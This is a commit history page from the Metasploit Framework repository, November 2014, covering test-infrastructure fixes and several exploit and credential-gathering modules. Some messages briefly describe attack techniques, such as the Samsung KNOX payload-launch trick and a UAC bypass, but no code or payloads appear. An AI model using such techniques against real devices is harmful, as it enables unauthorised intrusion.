Compare commits

...

4974 Commits

Author SHA1 Message Date
jvazquez-r7 1f2313d87e Land #4054, @jhart-r7's SunRPC lib and module cleanup 2014-11-18 17:01:01 -06:00
jvazquez-r7 fb4b6543e2 Handle other rex exceptions 2014-11-18 15:57:41 -06:00
jvazquez-r7 a0f92ce26e Update module with review 2014-11-18 15:43:53 -06:00
jvazquez-r7 dff6af0747 Restore timeout 2014-11-18 12:17:10 -08:00
jvazquez-r7 542eb6e301 Handle exception in brute force exploits 2014-11-18 12:17:10 -08:00
jvazquez-r7 4844447d17 Use 20 seconds as default timeout
* Because it's the default timeout on Rex::Proto::SunRPC::Client
2014-11-18 12:17:10 -08:00
jvazquez-r7 694561dd0f Dont shadow methods with local variables, just in case... 2014-11-18 12:17:10 -08:00
Jon Hart 60e31cb342 Allow sunrpc_create to raise on its own 2014-11-18 12:17:10 -08:00
Jon Hart 500c4249fe Update solaris_kcms_readfile to gracefully handle RPC errors 2014-11-18 12:17:10 -08:00
Jon Hart 82f89e620b Clean up nfs mount scanner to *print_* better 2014-11-18 12:17:10 -08:00
Jon Hart b2f9307e0a vprint # of RPC programs, since the table comes right after 2014-11-18 12:17:10 -08:00
Jon Hart bfde6047d5 Introduce a user-controlled timeout for SunRPC stuff 2014-11-18 12:17:10 -08:00
Jon Hart a9f9a8b116 Introduce new ::Rex::Proto::SunRPC::RPCError, making run_host cleaner 2014-11-18 12:17:10 -08:00
Jon Hart c7794a7ed9 Clean up Ruby style in sunrpc_portmapper 2014-11-18 12:17:09 -08:00
Jon Hart 059d84e4ca More consistent *print_* and Rex::Ui::Text::Table for sunrpc_portmapper 2014-11-18 12:17:09 -08:00
jvazquez-r7 7358bcfe90 Restore timeout 2014-11-18 12:48:35 -06:00
jvazquez-r7 42a40cb128 Handle exception in brute force exploits 2014-11-18 11:20:41 -06:00
jvazquez-r7 53cf85dcb4 Use 20 seconds as default timeout
* Because it's the default timeout on Rex::Proto::SunRPC::Client
2014-11-18 11:03:20 -06:00
jvazquez-r7 e453f1dd11 Dont shadow methods with local variables, just in case... 2014-11-18 11:02:27 -06:00
Tod Beardsley 4ecb892bdb Land #4226, user friendly Bundler error message
Fixes #4222, thanks @jhart-r7!
2014-11-18 11:01:28 -06:00
Trevor Rosen d04441f638 Merge branch 'landing/4207' into upstream-master
Land #4207

* Ensure that `rake spec` doesn't create too many threads
2014-11-18 09:23:20 -06:00
Trevor Rosen 267f93ff81 Merge branch 'landing/4205' into upstream-master
Land #4205

* Remove unused Msf::DBManager::Sink
* Part of improvements to thread management
2014-11-18 08:59:32 -06:00
Luke Imhoff 8249ef62c9 Merge branch 'master' into chore/MSP-11614/remove-msf-db-manager-sink
MSP-11614

Conflicts:
	spec/lib/msf/core/task_manager_spec.rb
2014-11-18 08:54:14 -06:00
Trevor Rosen fff36f5968 Merge branch 'landing/4189' into upstream-master
Land #4189

* Detect leaked threads during spec runs
* Manage threads before/after spec runs
2014-11-18 08:33:38 -06:00
Jon Hart f51dd2b6f4 Use bundler/setup for more graceful bundler related failures 2014-11-17 18:06:01 -08:00
jvazquez-r7 7daedac399 Land #3972 @jhart-r7's post gather module for remmina Remmina
* Gather credentials managed with Remmina
2014-11-17 16:44:41 -06:00
jvazquez-r7 45d219c0d8 Land #4102, @jhart-r7's fix for nbns_response
* Use request src_port instead of 137
2014-11-17 15:46:38 -06:00
Jon Hart 4d81a9da65 Allow sunrpc_create to raise on its own 2014-11-17 11:58:26 -08:00
Tod Beardsley 286827c6e5 Land #4186, Samsung KNOX exploit. Ty @jvennix-r7! 2014-11-17 13:29:39 -06:00
Tod Beardsley 39980c7e87 Fix up KNOX caps, descriptive description 2014-11-17 13:29:00 -06:00
Samuel Huckins 9e8f1d1160 Land #4218, MDM bump 2014-11-17 13:26:40 -06:00
Tod Beardsley 0f41bdc8b8 Add an OSVDB ref 2014-11-17 13:26:21 -06:00
jvazquez-r7 54de805b7a Report credentials
* Even when we are not associating them to hosts
* It's a post module so maybe we cannot solve some names
2014-11-17 12:49:18 -06:00
Jon Hart 9e2513d4de Update solaris_kcms_readfile to gracefully handle RPC errors 2014-11-17 10:41:17 -08:00
Jon Hart 364315122a Clean up nfs mount scanner to *print_* better 2014-11-17 10:41:17 -08:00
Jon Hart 1fda9a36b7 vprint # of RPC programs, since the table comes right after 2014-11-17 10:41:17 -08:00
Jon Hart 151df3ae05 Introduce a user-controlled timeout for SunRPC stuff 2014-11-17 10:41:17 -08:00
Jon Hart 7098d89058 Introduce new ::Rex::Proto::SunRPC::RPCError, making run_host cleaner 2014-11-17 10:41:17 -08:00
Jon Hart 91abe6f7c7 Clean up Ruby style in sunrpc_portmapper 2014-11-17 10:41:17 -08:00
Jon Hart 47c7df96c5 More consistent *print_* and Rex::Ui::Text::Table for sunrpc_portmapper 2014-11-17 10:41:16 -08:00
jvazquez-r7 b3b37c7c9f Use longer description lines 2014-11-17 12:23:22 -06:00
jvazquez-r7 145e610c0f Avoid shadowing new method 2014-11-17 12:22:30 -06:00
jvazquez-r7 cc8b37d619 Make directory mandatory 2014-11-17 12:15:33 -06:00
jvazquez-r7 15b7435c34 Make it YARD compliant documentation 2014-11-17 12:03:37 -06:00
William Vu fd53e969fd Land #4217, browser_autopwn variable fix 2014-11-17 11:46:52 -06:00
William Vu 405eae4b6e Remove EOL whitespace 2014-11-17 11:46:36 -06:00
jvazquez-r7 20195e7f37 Update from upstream/master 2014-11-17 11:43:48 -06:00
William Vu 91ba25a898 Land #4208, psexec delay fix 2014-11-17 11:35:56 -06:00
jvazquez-r7 2c36f79934 Land #4165, @jhart-r7's check for datastore options on Cisco dtp
* Fix modules/auxiliary/spoof/cisco/dtp
* Just one of the two options is required
2014-11-17 11:23:31 -06:00
William Vu fa9bd88091 Land #4215, new CVEs for older modules 2014-11-17 11:21:46 -06:00
Jon Hart cd32f00ebc Add dir doc 2014-11-17 09:15:08 -08:00
Jon Hart 98db8b5ad9 When not a meterpreter session, split dir/ls output to match meterpreter entries output 2014-11-17 09:10:03 -08:00
Jon Hart d5afb2b766 %q 2014-11-17 09:01:14 -08:00
Jon Hart ce73e32673 Doc and named captures 2014-11-17 09:01:14 -08:00
Jon Hart bf05fe1389 Refactoring, simplification, better print_* 2014-11-17 09:01:14 -08:00
Jon Hart 6e1cdfde36 Rip out create_credential* stuff. Use what works 2014-11-17 09:01:14 -08:00
Jon Hart e5bb13a609 If remmina config files are missing data for creds, tell me what 2014-11-17 09:01:14 -08:00
Jon Hart 875d1f9ea0 Convert Remmina credential gatherer to use new credentials model 2014-11-17 09:01:14 -08:00
Jon Hart 5f1a1f8ed3 Use dir for Windows only, ls for the rest 2014-11-17 09:01:14 -08:00
Jon Hart 086f0c02d6 Remove excessive logging 2014-11-17 09:01:14 -08:00
Jon Hart 6519b0e2cb Add dir and ls to Msf::Post::File 2014-11-17 09:01:14 -08:00
Jon Hart 90e58e9e71 Binary encoding 2014-11-17 09:01:14 -08:00
Jon Hart e76373340e Correct some Rubocop things that I agree with 2014-11-17 09:01:14 -08:00
Jon Hart f729a6cf02 Add Remmina RDP/SSH/VNC password gathering 2014-11-17 09:01:13 -08:00
Matt Buck 5db7d1edd5 Bump mdm version number 2014-11-17 10:59:41 -06:00
William Vu 07c3c41269 Land #4211, Ruby version bump 2014-11-17 10:38:34 -06:00
Joe Vennix cd61975966 Change puts to vprint_debug. 2014-11-17 10:13:13 -06:00
Joe Vennix fc1635e80a Fix BAP JS ref error. 2014-11-17 10:06:15 -06:00
Luke Imhoff 33b42389f0 Merge branch 'feature/MSP-11147/thread-leak-detection' into feature/MSP-11605/lazy-thread-creation
MSP-11605
2014-11-17 09:35:47 -06:00
Luke Imhoff e3869ee1ae Include Thread status when printing leaked threads
MSP-11147

Sometime travis-ci is showing leaked threads even when
'Msf::Framework#threads cleaner' is being used, so I'm adding the
`Thread#status` to the data printed about the Thread to see if the
sometimes leaked threads have an odd status.  There's still a chance
that there will be a race-condition between when I call Thread.list and
I ask for each Thread's status that the VM could finish aborting a
Thread so that status I print isn't the same as the one that caused the
Thread to be returned in Thread.list.
2014-11-17 09:30:46 -06:00
Luke Imhoff ba836f2383 Only calculate thread UUIDs if they are needed
MSP-11147

Only calculate thread UUIDs if the thread count exceeds
EXPECTED_THREAD_COUNT_AROUND_SUITE.
2014-11-17 09:17:44 -06:00
Luke Imhoff 024b449b55 Merge branch 'master' into feature/MSP-11605/lazy-thread-creation
MSP-11605
2014-11-17 08:50:33 -06:00
jvazquez-r7 6f5183afec Land #4216, @hmoore-r7 additions to the tftp dictionary
* Changes originally submitted by Chris McNab
2014-11-17 08:48:16 -06:00
Joe Vennix 2a24151fa8 Remove BAP target, payload is flaky. Add warning. 2014-11-17 02:02:37 -06:00
Joe Vennix 105a28d8fd Run the tests again. 2014-11-16 23:42:40 -06:00
Joe Vennix a7aeac5df3 Fix APK signing on osx. 2014-11-16 23:29:54 -06:00
HD Moore 1d8b746d89 Adds new TFTP file names, submitted by Chris McNab 2014-11-16 18:47:11 -06:00
HD Moore 9fe4994492 Chris McNab has been working with MITRE to add these CVEs
These CVEs are not live yet, but have been confirmed by cve-assign
t
2014-11-16 18:42:53 -06:00
Joe Vennix 5de69ab6a6 minor syntax fixes. 2014-11-15 21:39:37 -06:00
Joe Vennix 3fb6ee4f7d Remove dead constant. 2014-11-15 21:38:11 -06:00
Joe Vennix 7a62b71839 Some URL fixes from @jduck and exploit ideas from Andre Moulu.
The exploit works with the URLs fixed, installs the APK, but hangs at the Installing...
screen and never actually launches. We tried opening the APK in a setTimeout() intent
URI, but the previously launched intent seemed unresponsive. Andre had the bright
idea of re-opening the previously launched intent with invalid args, crashing it and
allow us to launch the payload.
2014-11-15 21:33:16 -06:00
William Vu a521d469ed Land #4194, Quake protocol support 2014-11-15 17:44:19 -06:00
sinn3r d207345778 Land #4200 - report_note handling incorrect protocol names 2014-11-15 13:16:58 -06:00
Christian Mehlmauer 28135bcb09 Land #4159, MantisBT PHP code execution by @itseco 2014-11-15 07:49:54 +01:00
Luke Imhoff ceb7a63a5c Merge branch 'master' into feature/MSP-11147/thread-leak-detection
MSP-11147
2014-11-14 18:20:55 -06:00
Tod Beardsley 9c4614f73c Oh good, another Ruby version bump
DoS Security issue in Ruby 1.9.3-p550 and prior, described here:

https://www.ruby-lang.org/en/news/2014/11/13/ruby-1-9-3-p551-is-released/

Not a hair-on-fire kind of deal, but should update at the earliest
opportunity to avoid getting DoS'ed by a malicious target.
2014-11-14 17:28:16 -06:00
sinn3r e194d5490d See #4162 - Don't delay before deleting a file via SMB
So I was looking at issue #4162, and on my box I was seeing this
problem of the exploit failing to delete the payload in C:\Windows,
and the error was "Rex::Proto::SMB::Exceptions::NoReply The SMB
server did not reply to our request". I ended up removing the sleep(),
and that got it to function properly again. The box was a Win 7 SP1.

I also tested other Winodws boxes such as Win XP SP3, Windows Server
2008 SP2 and not having the sleep() doesn't seem to break anything.
So I don't even know why someone had to add the sleep() in the first
place.
2014-11-14 15:45:37 -06:00
William Vu 0477c5f8fe Land #4191, merge_check_key update for Ruby 2.1.4 2014-11-14 15:33:47 -06:00
Luke Imhoff a2ccaad1ae Merge branch 'master' into feature/MSP-11605/lazy-thread-creation
MSP-11605
2014-11-14 13:06:14 -06:00
Trevor Rosen 3b558624f3 Merge branch 'landing/4129' into upstream-master
Landing #4129

* Detect leaked constants in spec runs
2014-11-14 12:55:56 -06:00
Luke Imhoff bc53e7667d Remove unnecessary thread cleaning from Msfcli spec
MSP-11605
2014-11-14 12:40:04 -06:00
Luke Imhoff 43511e648a Merge branch 'chore/MSP-11614/remove-msf-db-manager-sink' into feature/MSP-11605/lazy-thread-creation
MSP-11605

Conflicts:
	spec/lib/msf/core/task_manager_spec.rb
2014-11-14 11:59:12 -06:00
Luke Imhoff 14fa1dba0b Merge branch 'master' into feature/MSP-11605/lazy-thread-creation
MSP-11605
2014-11-14 11:58:16 -06:00
Luke Imhoff 5e6400a506 Remove Msf::TaskManager
MSP-11614

`Msf::TaskManager` was only used for `Msf::DBManager#sink`, which was
removed because it was unused, so `Msf::TaskManager` can also be
removed.
2014-11-14 11:15:05 -06:00
Luke Imhoff 55a8f6f339 Remove Msf::DBManager::Sink
MSP-11614

`Msf::DBManager::Sink` contains code for a `sink` that is a meant to
serialize database events, but it's unneeded because all database events
go directly through ActiveRecord, which handles threading.
2014-11-14 10:51:51 -06:00
Tod Beardsley 723028d5bc Land #4204, add missing migration 2014-11-14 10:32:35 -06:00
Luke Imhoff 8863367cc7 Merge branch 'chore/MSP-11615/update-db-schema' into chore/MSP-11614/remove-msf-db-manager-sink
MSP-11614
2014-11-14 10:12:18 -06:00
Luke Imhoff 40c49cefd8 Update db/schema.rb
MSP-11615

To get type column on metasploit_credential_publics.
2014-11-14 09:39:26 -06:00
Luke Imhoff 8925db2ec1 Remove thread cleaner from Msf::Simple::Framework shared context
MSP-11605

The `framework` from 'Msf::Simple::Framework' shared context is not
guaranteed to make threads with `framework.threads` anymore, so the
cleaner shouldn't allows be present in 'Msf::Simple::Framework'.
2014-11-14 09:14:13 -06:00
Luke Imhoff 0c6b820f7d Remove unnecessary thread cleaning from Msf::Framework spec
MSP-11605
2014-11-14 09:11:35 -06:00
Jon Hart 57aef9a6f5 Land #4177, @hmoore-r7's fix for #4169 2014-11-13 18:29:57 -08:00
HD Moore 2abc636f16 Merge pull request #7 from jhart-r7/landing-4177-jhart
Clean up failure messaging when bad CHOST
2014-11-13 18:56:12 -06:00
Juan 77e5043be9 Merge pull request #1 from FireFart/pr1
some changes
2014-11-13 19:54:14 -05:00
William Vu 386a1912e5 Land #4201, release fixes 2014-11-13 15:52:24 -06:00
Christian Mehlmauer 3faa48d810 small bugfix 2014-11-13 22:51:41 +01:00
Christian Mehlmauer 7d6b6cba43 some changes 2014-11-13 22:46:53 +01:00
Matt Buck 651beb9acb Land #4192, enable specifying mode for Rex output file 2014-11-13 14:57:48 -06:00
Julio Auto 812aa9bc1a Reduce number of calls to to_s and downcase 2014-11-13 14:56:17 -06:00
Tod Beardsley e2dc862121 Fix newly introduced typo. 2014-11-13 14:53:57 -06:00
Tod Beardsley dd1920edd6 Minor typos and grammar fixes 2014-11-13 14:48:23 -06:00
Julio Auto e72d9bd21f Fix report_note handling incorrect protocol names 2014-11-13 14:30:43 -06:00
Luke Imhoff 69e726e2c9 Fail if 'Msf::Framework#threads cleaner' is unnecessary
MSP-11605

The 'Msf::Framework#threads cleaner' shared context fails with a
RuntimeError if `framework.threads?` is false, which would indicate that
cleaning is unnecessary.  This change stops 'Msf::Framework#threads
cleaner' from accessing `framework.threads`, which would create threads
only to immediately clean them up.
2014-11-13 14:22:40 -06:00
Luke Imhoff eb3ff769a9 Msf::Framework#threads?
MSP-11605

`Msf::Framework#threads?` returns whether `Msf::Framework#threads` was
ever initialized.  If `Msf::Framework#threads?` is true, then threads
need to be cleaned up, while if it is false then no threads need to be
cleaned up from the current framework.
2014-11-13 14:21:35 -06:00
Luke Imhoff d9a25005a6 Wrap Msf::Framework#threads in Metasploit::Framework::ThreadFactoryProvider
MSP-11605

`Rex::ThreadFactory.provider` needs to be set in
`Msf::Framework#initialize`, but setting it directly to
`Msf::Framework#threads` eliminates the laziness of
`Msf::Framework#threads`.  In order keep `framework.threads` lazy,
`framework` is wrapped in a
`Metasploit::Framework::ThreadFactoryProvider`, which responds to
`spawn`, which is needed by `Rex::ThreadFactory`, by calling
`framework.threads.spawn`, which lazily initialized `framework.threads`
when the first thread needs to be spawned.
2014-11-13 14:08:26 -06:00
Joe Vennix 714ce2f3ce Land #4198, @trosen-r7's fixes to XML import. 2014-11-13 14:07:12 -06:00
sinn3r 5a54537cbc Land #4196 - MS14-064 bypassing UAC 2014-11-13 13:55:31 -06:00
Luke Imhoff 0bc27334c1 Thread-safe lazy Msf::Framework#db
MSP-11605

Switch `Msf:Framework#db` from being set in `#initialize` to a custom
method that uses `||=` to lazily initialize the `Msf::DBManager` inside
a `synchronize` block to make it thread safe.
2014-11-13 13:38:53 -06:00
Luke Imhoff 92adaa816f Store Msf::Framework#initialize options
MSP-11605

Store options `Hash` passed to `Msf::Framework#new` in `#options` so
that lazily initialized children, such as DBManager, have access to
those options.
2014-11-13 13:23:17 -06:00
Luke Imhoff bc181f0294 Thread-safe lazy Msf::Framework#sessions
MSP-11605

Switch `Msf::Framework#sessions` from being set in `#initialize` to a
custom method that uses `||=` to lazily initialize the
`Msf::SessionManager` inside a `synchronize` block to make it thread
safe.
2014-11-13 13:17:57 -06:00
Trevor Rosen 0959ef3d13 Fixes lack of support for MetasploitV5 tag
#4184

* Appears to have been overlooked somehow in the pre-BlackHat crunch
* V5 will not support credentials
* We are implementing full-workspace zip import/export for credentials
2014-11-13 13:01:55 -06:00
Samuel Huckins cd7b69b699 Land #4197, blank username failure fix 2014-11-13 12:59:22 -06:00
Samuel Huckins 768d7477d7 metasploit-credential bump to 0.13.3
MSP-11609
2014-11-13 12:56:58 -06:00
David Maloney 49f10e6ed8 use latest version of metasploit-credential
MSP-11609
2014-11-13 11:26:05 -06:00
Luke Imhoff 216c3d01de Thread-safe lazy Msf::Framework#threads
MSP-11605

Switch Msf::Framework#threads to a custom method that uses `||=` to
lazily initialize the `Msf::ThreadManager` inside a `synchronize` block
to make it thread safe.
2014-11-13 11:12:43 -06:00
Luke Imhoff 8fc683d75d Use MonitorMixing in Msf::Framework
MSP-11605

To get access to `#synchronize` for thread-safe lazy initialization.
2014-11-13 11:11:34 -06:00
David Maloney ccc5bbd745 this spec needs to use the username factory
:metasploit-credential_public factory will randomly
return either a Username or BlankUsername and thus is
not appropriate for when you want tos et an explicit Username.
The :metasploit_credential_username factory should be used for this
instead

MSP-11609
2014-11-13 10:58:03 -06:00
Luke Imhoff 55aa32c6b6 Merge branch 'feature/MSP-11147/thread-leak-detection' into feature/MSP-11605/lazy-thread-creation
MSP-11605
2014-11-13 10:14:22 -06:00
Luke Imhoff b17b263cc7 Ignore debugger threads
MSP-11147

When using the debugger, it adds a thread that should be allowed and not
go towards the count.
2014-11-13 09:49:08 -06:00
Luke Imhoff 535f69b56d Append to RUBYOPT for debugger compatibility
MSP-11147

When using Rubymine's debugger, the tests would run and say there were
no tests and no break points would be hit.  It was determined that this
was due the Rubymine's debugger injecting itself into RUBYOPTS and only
working if it's first in RUBYOPT, which means that
'metasploit:framework:spec:threads:suite' must inject '-Ilib
-rmetasploit/framework/spec/threads/logger' at the end of RUBOPT instead
of the beginning.
2014-11-13 09:19:07 -06:00
Juan Escobar 17032b1eed Fix issue reported by FireFart 2014-11-13 04:48:45 -05:00
jvazquez-r7 31f3aa1f6d Refactor create packager methods 2014-11-13 01:16:15 -06:00
jvazquez-r7 38a96e3cfc Update target info 2014-11-13 00:56:42 -06:00
jvazquez-r7 e25b6145f9 Add module for MS14-064 bypassing UAC through python for windows 2014-11-13 00:56:10 -06:00
jvazquez-r7 f081ede2aa Land #4155, @pedrib's module for CVE-2014-8499
* Password Manager Pro privesc + password disclosure
2014-11-12 23:56:26 -06:00
Joe Vennix ea6d8860a1 Not root, just arbitrary permissions. 2014-11-12 21:51:55 -06:00
Jon Hart ebf6fe4e56 Minor style cleanup 2014-11-12 16:44:43 -08:00
sinn3r a5009170e7 Land #4185 - Add CVE-2014-6352 (ms14-060 aka sandworm) 2014-11-12 17:11:43 -06:00
Trevor Rosen f658efe144 Add the ability to specify mode in Rex output file
* Because sometimes you might want to append
* Preserves original hardcoded 'wb' as default
* http://pubs.opengroup.org/onlinepubs/009695399/functions/fopen.html
2014-11-12 16:08:03 -06:00
Jon Hart 07a1653e57 Add gather module for Quake servers 2014-11-12 13:32:56 -08:00
Pedro Ribeiro 9df31e950f Add OSVDB id 2014-11-12 21:32:33 +00:00
Tod Beardsley bfc7bfdd9a Land #4179, Meterpreter_bins update
Actually fixes #3787 as well, since this is the last component needed to
fix that.

See rapid7/meterpreter#102

Also see
https://github.com/rapid7/meterpreter_bins/commit/055eddeb183db30bfa0586652753c3e080d97273
as this brings the shipping binaries up to day with 055eddeb
2014-11-12 15:14:20 -06:00
sinn3r 846dbc7432 Fix #4163 - Update merge_check_key to keep up with 2.1.4 change
The merge_check_key method (found in Msf::Module::ModuleInfo)) uses
respond_to? to check is our object includes a merge_info_description
method before merging descriptions. The respond_to? method in 2.1.4
by default no longer checks private and protected methods, and this
is breaking our merge_check_key method.

Fix #4163
2014-11-12 13:46:14 -06:00
Luke Imhoff cca82f4b36 Failing spec for Msf::Framework.new threads
MSP-11605

`Msf::Framework.new` creates 8 threads (change from 1 thread to 9 threads), but
it shouldn't create any threads.
2014-11-12 13:41:30 -06:00
Luke Imhoff 2fc6154ce9 Update db/schema.rb
MSP-11147

Must be missing on master too.
2014-11-12 13:33:21 -06:00
Tod Beardsley 54158c8662 Land #4005, TNS poison checker 2014-11-12 13:29:59 -06:00
Tod Beardsley d242bc220b Minor fixups and disclosure date for TNS module 2014-11-12 13:25:10 -06:00
Tod Beardsley 955a5142ca Edit e-mail address for antispam 2014-11-12 13:19:04 -06:00
Luke Imhoff 69043d51e0 Merge branch 'master' into feature/MSP-11147/thread-leak-detection
MSP-11147
2014-11-12 12:34:25 -06:00
Luke Imhoff 44f78c21b2 Tag Msfcli spec as content
MSP-11147

Tests currently use the real modules directory for test cases, so the
spec should be tagged with :content because it has same performance
issues as other content specs that can potentially load all the modules.
2014-11-12 12:27:33 -06:00
Luke Imhoff 3ff87c89fe Clean up Msf::Framework spec thread-leaks
MSP-11147
2014-11-12 12:20:23 -06:00
Luke Imhoff 22cbc5ca02 Use named subject instead of subject
MSP-11147
2014-11-12 12:18:08 -06:00
Luke Imhoff 61109d5567 Fix thread-leaks in msfcli spec
MSP-11147
2014-11-12 12:13:53 -06:00
Fernando Arias e05cd95c9b Land #4188, remerge of #4168
update gemspec for metasploit-credential
2014-11-12 11:26:57 -06:00
David Maloney e0163a325d update metasploit-credential to 0.13.2 2014-11-12 11:16:51 -06:00
Luke Imhoff 5d48f123f6 Add #4045 to CHANGELOG 2014-11-12 11:15:58 -06:00
David Maloney c937982a28 Merge branch 'master' into bug/MSP-11592/blank-password-failure 2014-11-12 11:13:58 -06:00
David Maloney 758fee6320 Merge branch 'master' of github.com:rapid7/metasploit-framework
Conflicts:
	Gemfile.lock
2014-11-12 11:13:33 -06:00
Luke Imhoff ad811dc70c CHANGELOG template for next release 2014-11-12 11:13:22 -06:00
Luke Imhoff ad4ee3cffd Merge branch 'master' of rapid7.github.com:/rapid7/metasploit-framework 2014-11-12 11:10:48 -06:00
Luke Imhoff 1fd8fe57df Merge staging/great-backport to master
Conflicts:
	spec/lib/msf/core/module_spec.rb
2014-11-12 11:08:18 -06:00
Joe Vennix 1895311911 Change URL to single line. 2014-11-12 10:56:51 -06:00
sinn3r ac4b2bee4d Land #4181 - Fix nil URIPORT in get_uri (HttpServer) 2014-11-12 10:54:16 -06:00
Joe Vennix 8689b0adef Add module for samsung knox root exploit. 2014-11-12 09:53:20 -06:00
jvazquez-r7 70589668c2 Really land the #4130 module 2014-11-12 09:39:01 -06:00
Jon Hart e658640014 Show uniq error count 2014-11-12 07:38:07 -08:00
jvazquez-r7 ece8013d7a Use #empty? 2014-11-12 09:35:06 -06:00
jvazquez-r7 f048463ed6 Do minor fixupts
* Delete peer method
* Make verifications more strict
2014-11-12 09:33:49 -06:00
Jon Hart b05198c05a Clean up failure messaging when bad CHOST 2014-11-12 07:32:06 -08:00
jvazquez-r7 a5c87db65e Do minor cleanup
* Beautify description
* Use double quotes for interpolation
2014-11-12 09:29:53 -06:00
jvazquez-r7 e1164d3e14 Use snake_case on filename 2014-11-12 09:26:47 -06:00
Luke Imhoff 8adc80fff1 Sort context entries
MSP-11147
2014-11-12 09:16:37 -06:00
Luke Imhoff 9766e61b7b Update Msfcli#engage_mode spec style
MSP-11147
2014-11-12 09:08:36 -06:00
Jon Hart ae339cb59f Land #4174, @hmoore-r7's fix for #4170 2014-11-12 07:02:22 -08:00
jvazquez-r7 c35dc2e6b3 Add module for CVE-2014-6352 2014-11-12 01:10:49 -06:00
William Vu b2612eaf1c Land #4180, Metasploit Trail banner
Homage to Oregon Trail. :)
2014-11-11 16:28:46 -06:00
William Vu adad3809cc Rename logo file 2014-11-11 16:07:44 -06:00
William Vu 89a8d27602 Fix port 0 bug in URIPORT 2014-11-11 15:57:41 -06:00
Joshua Smith 329ea4fe01 the masterpiece is complete 2014-11-11 15:35:36 -06:00
Luke Imhoff c0a3707c52 Update Msfcli#init_modules spec style
MSP-11147
2014-11-11 15:29:21 -06:00
William Vu c73a866932 Land #4178, remerge of #4113 2014-11-11 15:23:40 -06:00
OJ fb751e3b9f Update meterpreter_bins to 0.0.11
This adds support for the getsid command in the binaries.
2014-11-12 07:21:00 +10:00
Tod Beardsley 7e05f88399 Reapply PR #4113 (removed via #4175) 2014-11-11 15:06:43 -06:00
HD Moore 6b4eb9a8e2 Differentiate failed binds from connects, closes #4169
This change adds two new Rex exceptions and changes the local comm to raise the right one depending on the circumstances. The problem with the existing model is
that failed binds and failed connections both raised the same exception. This change is backwards compatible with modules that rescue Rex::AddressInUse in additi
on to Rex::ConnectionError. There were two corner cases that rescued Rex::AddressInUse specifically:

1. The 'r'-services mixin and modules caught the old exception when handling bind errors. These have been updated to use BindFailed
2. The meterpreter client had a catch for the old exception when the socket reports a bad destination (usually a network connection dropped). This has been updat
ed to use InvalidDestination as that was the intention prior to this change.

Since AddressInUse was part of ConnectionError, modules and mixins which caught both in the same rescue have been updated to just catch ConnectionError.
2014-11-11 14:59:41 -06:00
William Vu 2a6d288fe8 Land #4176, revert of 14514d7 2014-11-11 14:57:40 -06:00
Tod Beardsley 64aaa50132 Revert 14514d7 as well
Another one snuck in there, see #4175

Revert "update gemspec for metasploit-credential"

This reverts commit 14514d7b8b, reversing
changes made to 6653d5e913.
2014-11-11 14:53:04 -06:00
Luke Imhoff bb07de3294 Update Msfcli#generate_whitelist spec style
MSP-11147
2014-11-11 14:49:48 -06:00
William Vu baf7065e1b Land #4175, revert of deea30d 2014-11-11 14:43:48 -06:00
Tod Beardsley 017a44c0ae Revert errored merge of deea30d
Revert "Merge branch 'master' of https://github.com/farias-r7/metasploit-framework into upstream-master"

This reverts commit deea30ddb4, reversing
changes made to 14514d7b8b.
2014-11-11 14:38:47 -06:00
Luke Imhoff 965607c7dc Update Msfcli#guess_nop_name spec style
MSP-11147
2014-11-11 14:16:55 -06:00
Luke Imhoff 577065f68d Update Msfcli#guess_encoder_name spec style
MSP-11147
2014-11-11 14:14:50 -06:00
David Maloney 2d4cc8b21c update gemfile.lock to credential 13.2 2014-11-11 13:49:47 -06:00
Luke Imhoff d36da497d0 Update Msfcli#guess_payload_name spec style
MSP-11147
2014-11-11 13:47:16 -06:00
Fernando Arias deea30ddb4 Merge branch 'master' of https://github.com/farias-r7/metasploit-framework into upstream-master 2014-11-11 13:36:50 -06:00
Fernando Arias 14514d7b8b update gemspec for metasploit-credential 2014-11-11 13:35:00 -06:00
Luke Imhoff 1f1af70047 Update Msfcli#usage spec style
MSP-11147
2014-11-11 13:22:28 -06:00
HD Moore dbd5937dc7 Limit threads to 1 when CPORT is set, closes #4170
This issue also applies to TCP scanner modules.
2014-11-11 13:21:09 -06:00
Luke Imhoff ebec5329df Update Msfclie#dump_module_list spec style
MSP-11147
2014-11-11 13:21:06 -06:00
Luke Imhoff 56b53b0dcd Remove redundant 'it' in text name
MSP-11147
2014-11-11 13:16:45 -06:00
Luke Imhoff 5d6aec8bed Fix context prefix
MSP-11147

Instance methods should be prefixed with `#`, not `.`.
2014-11-11 13:14:34 -06:00
Luke Imhoff a6fed7798e Update Msfcli#usage spec style
MSP-11147
2014-11-11 13:11:40 -06:00
Luke Imhoff c6f115d070 Update Msfcli#initialize spec style
MSP-11147
2014-11-11 13:11:05 -06:00
Jon Hart 9238d80a24 Use correct source port for NBNS spoofer
137 is only correct for systems that use this as their source port.
Systems running Samba, for example, don't use this.  So use the port
taken from the original request, not 137 or 1337
2014-11-11 10:33:27 -08:00
Luke Imhoff 86379db65c Remove incorrect 'Class methods' context
MSP-11147
2014-11-11 12:32:22 -06:00
Luke Imhoff 36ab73b83a Extract Msfcli#framework
MSP-11147

Expose Msfcli @framework as Msfcli#framework so that it can be set in
tests.  It also allows Msfcli#framework to lazily initialize and memoize
to @framework.
2014-11-11 12:25:14 -06:00
Luke Imhoff cf0ecd0367 Fix thread leaks in TaskManager spec
MSP-11147
2014-11-11 12:02:14 -06:00
HD Moore 96ba6da697 Add the UDP scanner template, lands #4113.
There is some additional work to do regarding CHOST/CPORT, but this is not tied to the udp template changes.
2014-11-11 11:59:30 -06:00
Luke Imhoff eede74be1e Extract 'Msf::Framework#threads cleaner'
MSP-11147

Extract from 'Msf::Simple::Framework' the `after(:each)` that kills and joins
threads from `framework.threads` into 'Msf::Framework#threads cleaner`.
2014-11-11 11:49:48 -06:00
jvazquez-r7 6653d5e913 Land #4168, @nullbind's MS SQL SUSER_SNAME login enumeration module 2014-11-11 11:17:39 -06:00
jvazquez-r7 01fda27264 Fix title 2014-11-11 11:15:53 -06:00
jvazquez-r7 a588bfd31a Use single quotes 2014-11-11 09:56:46 -06:00
jvazquez-r7 77c8dc2b64 Dont return nil from 'run' 2014-11-11 09:39:08 -06:00
jvazquez-r7 fb309aae11 Use a Fixnum as FuzzInt default value 2014-11-11 09:36:53 -06:00
jvazquez-r7 f6762b41b6 Use random fake db name 2014-11-11 09:35:51 -06:00
jvazquez-r7 94c353222d Do small cosmetic changes 2014-11-11 09:31:57 -06:00
jvazquez-r7 e9e5869951 update from master 2014-11-11 09:24:33 -06:00
Nikita c0285067c9 Add new module to test TNS poison
msf auxiliary(tnspoison_checker) > show options 

